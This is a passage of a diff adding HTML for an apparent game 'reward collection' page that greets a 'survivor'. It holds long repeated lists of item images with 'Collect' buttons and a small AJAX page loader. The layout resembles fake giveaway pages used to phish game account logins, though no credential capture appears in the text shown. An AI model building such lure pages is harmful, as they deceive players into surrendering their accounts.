+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171272-03abeb80-3e4b-11eb-8fcc-6dec3262d594.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171288-0dcdea00-3e4b-11eb-9bb9-282db8b0d7b9.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171288-0dcdea00-3e4b-11eb-9bb9-282db8b0d7b9.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171307-19211580-3e4b-11eb-80a9-60db877783f6.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171307-19211580-3e4b-11eb-80a9-60db877783f6.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171586-bda35780-3e4b-11eb-986e-d72196fb17e7.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171586-bda35780-3e4b-11eb-986e-d72196fb17e7.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171618-d14ebe00-3e4b-11eb-8ec6-30567dbaab9c.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171618-d14ebe00-3e4b-11eb-8ec6-30567dbaab9c.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171645-e62b5180-3e4b-11eb-94f3-098c27eba556.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171645-e62b5180-3e4b-11eb-94f3-098c27eba556.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171712-0c50f180-3e4c-11eb-935a-fb8c5e109758.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171712-0c50f180-3e4c-11eb-935a-fb8c5e109758.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171745-18d54a00-3e4c-11eb-82f4-41e1fda7fb7d.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171745-18d54a00-3e4c-11eb-82f4-41e1fda7fb7d.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171769-225eb200-3e4c-11eb-94de-86e205705194.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171769-225eb200-3e4c-11eb-94de-86e205705194.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171788-2db1dd80-3e4c-11eb-95cf-ccfa0a3474ff.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171788-2db1dd80-3e4c-11eb-95cf-ccfa0a3474ff.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171829-49b57f00-3e4c-11eb-8668-8f32c2c779a5.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171829-49b57f00-3e4c-11eb-8668-8f32c2c779a5.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171846-576b0480-3e4c-11eb-877b-dd3121cde912.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171846-576b0480-3e4c-11eb-877b-dd3121cde912.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171865-6651b700-3e4c-11eb-817d-0e2ed4ad59dc.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171865-6651b700-3e4c-11eb-817d-0e2ed4ad59dc.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171903-7cf80e00-3e4c-11eb-9596-6f79a02bdca3.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171903-7cf80e00-3e4c-11eb-9596-6f79a02bdca3.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171926-8bdec080-3e4c-11eb-8ef8-3c2d56c96f72.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171926-8bdec080-3e4c-11eb-8ef8-3c2d56c96f72.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171951-9e58fa00-3e4c-11eb-9edf-2affce6a55f5.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171951-9e58fa00-3e4c-11eb-9edf-2affce6a55f5.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171972-add84300-3e4c-11eb-836f-f468d647282e.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171972-add84300-3e4c-11eb-836f-f468d647282e.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171989-ba5c9b80-3e4c-11eb-8f7e-a95b56e87957.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171989-ba5c9b80-3e4c-11eb-8f7e-a95b56e87957.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172021-d3654c80-3e4c-11eb-9ad5-17ca9c7cc6cd.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172021-d3654c80-3e4c-11eb-9ad5-17ca9c7cc6cd.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172048-e1b36880-3e4c-11eb-937f-f6f16ab657f3.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172048-e1b36880-3e4c-11eb-937f-f6f16ab657f3.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172072-ed9f2a80-3e4c-11eb-9b2d-d04888fe1d8c.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172072-ed9f2a80-3e4c-11eb-9b2d-d04888fe1d8c.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172094-fabc1980-3e4c-11eb-98f1-6bfe9d571b7a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172094-fabc1980-3e4c-11eb-98f1-6bfe9d571b7a.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172133-0ad3f900-3e4d-11eb-86e3-1b17a2f973f3.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172133-0ad3f900-3e4d-11eb-86e3-1b17a2f973f3.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172155-145d6100-3e4d-11eb-8c8c-3b755443e58a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172155-145d6100-3e4d-11eb-8c8c-3b755443e58a.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172179-20492300-3e4d-11eb-9747-6f67353a69fd.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172179-20492300-3e4d-11eb-9747-6f67353a69fd.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172203-2e973f00-3e4d-11eb-8867-92bc1f48fa77.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172203-2e973f00-3e4d-11eb-8867-92bc1f48fa77.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172236-41aa0f00-3e4d-11eb-8e93-e68ba3f31bbe.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172236-41aa0f00-3e4d-11eb-8e93-e68ba3f31bbe.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172273-52f31b80-3e4d-11eb-9cd4-8d7bb6514b0a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172273-52f31b80-3e4d-11eb-9cd4-8d7bb6514b0a.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172296-5be3ed00-3e4d-11eb-892e-0ebd09645e9a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172296-5be3ed00-3e4d-11eb-892e-0ebd09645e9a.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172320-67cfaf00-3e4d-11eb-97c6-b3763732d0b2.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172320-67cfaf00-3e4d-11eb-97c6-b3763732d0b2.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172357-74ec9e00-3e4d-11eb-87d1-98cf02f375c4.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172357-74ec9e00-3e4d-11eb-87d1-98cf02f375c4.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172389-82098d00-3e4d-11eb-98c5-201a5963cf38.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172389-82098d00-3e4d-11eb-98c5-201a5963cf38.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172469-acf3e100-3e4d-11eb-9932-3a842b4bbe66.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172469-acf3e100-3e4d-11eb-9932-3a842b4bbe66.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172493-bb41fd00-3e4d-11eb-83ff-1e274f721fb2.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172493-bb41fd00-3e4d-11eb-83ff-1e274f721fb2.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102178437-40cbaa00-3e5a-11eb-9ed8-345bfa52aac0.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178437-40cbaa00-3e5a-11eb-9ed8-345bfa52aac0.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172512-c5fc9200-3e4d-11eb-8edf-cc5d3edec393.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172512-c5fc9200-3e4d-11eb-8edf-cc5d3edec393.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172644-052ae300-3e4e-11eb-9881-f8da2f522ac5.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172644-052ae300-3e4e-11eb-9881-f8da2f522ac5.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172662-1116a500-3e4e-11eb-862e-1f4690a5be71.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172662-1116a500-3e4e-11eb-862e-1f4690a5be71.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172678-1aa00d00-3e4e-11eb-9fbc-710534cb7359.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172678-1aa00d00-3e4e-11eb-9fbc-710534cb7359.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172705-28559280-3e4e-11eb-8dc7-211157aa3b41.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172705-28559280-3e4e-11eb-8dc7-211157aa3b41.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172748-41f6da00-3e4e-11eb-9caf-7e2e9b5df811.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172748-41f6da00-3e4e-11eb-9caf-7e2e9b5df811.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172761-4de29c00-3e4e-11eb-8fbf-50af141a0437.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172761-4de29c00-3e4e-11eb-8fbf-50af141a0437.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172780-5935c780-3e4e-11eb-9c23-00fae07a1f48.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172780-5935c780-3e4e-11eb-9c23-00fae07a1f48.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172795-6357c600-3e4e-11eb-8e88-a4ff1b88dfe2.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172795-6357c600-3e4e-11eb-8e88-a4ff1b88dfe2.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172840-7cf90d80-3e4e-11eb-8771-d905763cf2cd.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172840-7cf90d80-3e4e-11eb-8771-d905763cf2cd.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172856-87b3a280-3e4e-11eb-97e9-ea8ad6b0f995.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172856-87b3a280-3e4e-11eb-97e9-ea8ad6b0f995.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172868-926e3780-3e4e-11eb-9cb0-12b4a81aff97.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172868-926e3780-3e4e-11eb-9cb0-12b4a81aff97.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172890-9ef29000-3e4e-11eb-9dfa-ee825237f215.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172890-9ef29000-3e4e-11eb-9dfa-ee825237f215.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102172947-ca757a80-3e4e-11eb-9f3f-d28720089510.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172947-ca757a80-3e4e-11eb-9f3f-d28720089510.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102172974-d5300f80-3e4e-11eb-80df-b6882a07ea89.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172974-d5300f80-3e4e-11eb-80df-b6882a07ea89.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102172983-e0833b00-3e4e-11eb-94b7-1309f3b8389e.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102172983-e0833b00-3e4e-11eb-94b7-1309f3b8389e.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102173000-ea0ca300-3e4e-11eb-992a-3232af1d463e.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102173000-ea0ca300-3e4e-11eb-992a-3232af1d463e.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102173038-fdb80980-3e4e-11eb-82b6-0556f4a65658.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102173038-fdb80980-3e4e-11eb-82b6-0556f4a65658.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102173048-06a8db00-3e4f-11eb-81ca-4059f96c6fb7.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102173048-06a8db00-3e4f-11eb-81ca-4059f96c6fb7.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102173065-16c0ba80-3e4f-11eb-8a63-c2dacbfb7f3a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102173065-16c0ba80-3e4f-11eb-8a63-c2dacbfb7f3a.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102173088-217b4f80-3e4f-11eb-898a-1ee3fc271473.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102173088-217b4f80-3e4f-11eb-898a-1ee3fc271473.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175229-f5ae9880-3e53-11eb-9837-9e1b7f8504a5.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175229-f5ae9880-3e53-11eb-9837-9e1b7f8504a5.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175259-0a8b2c00-3e54-11eb-960a-a57302642d72.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175259-0a8b2c00-3e54-11eb-960a-a57302642d72.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175297-1d056580-3e54-11eb-8690-bf19d72d6655.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175297-1d056580-3e54-11eb-8690-bf19d72d6655.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175309-255da080-3e54-11eb-9360-50347bbf8a1c.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175309-255da080-3e54-11eb-9360-50347bbf8a1c.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175342-37d7da00-3e54-11eb-9036-73d85a603d0e.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175342-37d7da00-3e54-11eb-9036-73d85a603d0e.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175398-563dd580-3e54-11eb-8342-4885bb45f57a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175398-563dd580-3e54-11eb-8342-4885bb45f57a.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175412-5f2ea700-3e54-11eb-87d7-fbb2d98c7c55.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175412-5f2ea700-3e54-11eb-87d7-fbb2d98c7c55.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175430-6b1a6900-3e54-11eb-850b-f6defe15db94.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175430-6b1a6900-3e54-11eb-850b-f6defe15db94.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175490-85544700-3e54-11eb-9236-94e49066c060.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175490-85544700-3e54-11eb-9236-94e49066c060.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175524-9309cc80-3e54-11eb-84fd-c9264ba64d32.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175524-9309cc80-3e54-11eb-84fd-c9264ba64d32.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175556-9f8e2500-3e54-11eb-9634-bd220ffdb071.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175556-9f8e2500-3e54-11eb-9634-bd220ffdb071.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175649-c3516b00-3e54-11eb-948f-79444233d27b.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175649-c3516b00-3e54-11eb-948f-79444233d27b.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175672-cd736980-3e54-11eb-91df-c4acd5f8715b.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175672-cd736980-3e54-11eb-91df-c4acd5f8715b.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175694-d6fcd180-3e54-11eb-8c22-76a4c3845167.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175694-d6fcd180-3e54-11eb-8c22-76a4c3845167.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175782-f693fa00-3e54-11eb-9a57-dc151ab7fbc8.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175782-f693fa00-3e54-11eb-9a57-dc151ab7fbc8.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175810-00b5f880-3e55-11eb-8177-3adbf27fc3d2.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175810-00b5f880-3e55-11eb-8177-3adbf27fc3d2.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175856-13c8c880-3e55-11eb-8427-8fc1a794c439.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175856-13c8c880-3e55-11eb-8427-8fc1a794c439.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102175885-204d2100-3e55-11eb-9742-d46e7d62ca5c.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175885-204d2100-3e55-11eb-9742-d46e7d62ca5c.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102175916-2c38e300-3e55-11eb-9c20-834181a1a1b4.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175916-2c38e300-3e55-11eb-9c20-834181a1a1b4.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102175947-36f37800-3e55-11eb-9f56-69ce66304348.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102175947-36f37800-3e55-11eb-9f56-69ce66304348.png">Collect</button>
+</div>
+</div> 
+</div> 
+<div class="tab_rewards" id="season">
+<div class="menu-notify">
+<div class="menu-notify-icon"><i class="zmdi zmdi-info-outline"></i></div>
+<div class="menu-notify-txt">Hi survivor, this is the season reward for you today</div>
+</div> 
+<div class="scroll">
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102176906-3cea5880-3e57-11eb-8fa8-6fa393c70a2f.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176906-3cea5880-3e57-11eb-8fa8-6fa393c70a2f.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102176907-3d82ef00-3e57-11eb-9694-f8a46e9e6993.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176907-3d82ef00-3e57-11eb-9694-f8a46e9e6993.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102176908-3e1b8580-3e57-11eb-9807-aa69a3091434.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176908-3e1b8580-3e57-11eb-9807-aa69a3091434.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102176909-3eb41c00-3e57-11eb-87f9-acf71898d00d.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176909-3eb41c00-3e57-11eb-87f9-acf71898d00d.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102176910-3f4cb280-3e57-11eb-83e7-f8407dded1db.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176910-3f4cb280-3e57-11eb-83e7-f8407dded1db.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102176873-31972d00-3e57-11eb-86d0-ade0e6fbf2cd.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176873-31972d00-3e57-11eb-86d0-ade0e6fbf2cd.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102176874-3360f080-3e57-11eb-9ef9-55ab8f2be1ae.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176874-3360f080-3e57-11eb-9ef9-55ab8f2be1ae.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102176877-33f98700-3e57-11eb-95c9-2cb536a85337.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102176877-33f98700-3e57-11eb-95c9-2cb536a85337.png">Collect</button>
+</div>
+</div> 
+</div> 
+<div class="tab_rewards" id="other">
+<script type="text/javascript">
+function buka(nama) {
+$("#konten").html('<div class="load-item">Please wait...</div>');
+	$.ajax({
+		url	: nama+'.php',
+		type	: 'GET',
+		dataType: 'html',
+		success	: function(isi){
+			$("#konten").html(isi);
+		},
+	});
+}
+</script>
+<div id="konten">
+<div class="menu-notify">
+<a href="javascript:;" onclick="buka('pages/uc');"><div class="menu-notify-change">Change Reward</div></a>
+<div class="menu-notify-icon"><i class="zmdi zmdi-info-outline"></i></div>
+<div class="menu-notify-txt">Hi survivor, this is the other reward for you</div>
+</div> 
+<div class="scroll">
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102177638-ce0dff00-3e58-11eb-9fed-15142caabde8.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177638-ce0dff00-3e58-11eb-9fed-15142caabde8.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102177733-f990e980-3e58-11eb-861d-328f46e0e99a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177733-f990e980-3e58-11eb-861d-328f46e0e99a.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102177768-0ad9f600-3e59-11eb-9adb-98445bfe1719.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177768-0ad9f600-3e59-11eb-9adb-98445bfe1719.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102177786-14fbf480-3e59-11eb-99d3-de9065c81956.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177786-14fbf480-3e59-11eb-99d3-de9065c81956.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102177815-22b17a00-3e59-11eb-84d4-e90dd1b6d3e0.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177815-22b17a00-3e59-11eb-84d4-e90dd1b6d3e0.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102177831-2a711e80-3e59-11eb-8e90-38ee445d1e9c.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177831-2a711e80-3e59-11eb-8e90-38ee445d1e9c.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102177850-34931d00-3e59-11eb-820e-8f542dfe384a.png">
